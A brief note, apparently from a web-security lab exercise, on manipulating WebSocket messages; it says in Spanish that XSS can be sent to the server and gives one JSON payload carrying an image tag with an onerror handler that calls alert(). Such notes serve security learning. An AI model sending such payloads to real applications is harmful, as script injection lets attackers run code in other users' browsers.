1 - Manipulating WebSocket messages to exploit vulnerabilities

Puedes enviar al servidor mensajes con xss

{"message":"<img src=1 onerror=alert()>"}